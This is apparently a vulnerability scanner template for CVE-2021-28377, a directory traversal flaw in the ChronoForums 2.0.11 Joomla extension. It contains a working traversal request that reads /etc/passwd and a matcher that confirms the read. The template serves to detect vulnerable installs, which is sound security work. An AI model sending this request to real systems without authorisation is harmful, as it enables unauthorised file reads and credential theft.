31 lines
1005 B
YAML
31 lines
1005 B
YAML
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id: CVE-2021-28377
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info:
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name: ChronoForums 2.0.11 - Directory Traversal
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author: 0x_Akoko
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severity: high
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description: The ChronoForums avatar function is vulnerable through unauthenticated path traversal attacks. This enables unauthenticated attackers to read arbitrary files, like for instance Joomla's configuration file containing secret credentials.
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reference:
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- https://herolab.usd.de/en/security-advisories/usd-2021-0007/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-28377
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
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cvss-score: 7.5
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cve-id: CVE-2021-28377
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cwe-id: CWE-200
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tags: cve,cve2021,chronoforums,lfi,joomla
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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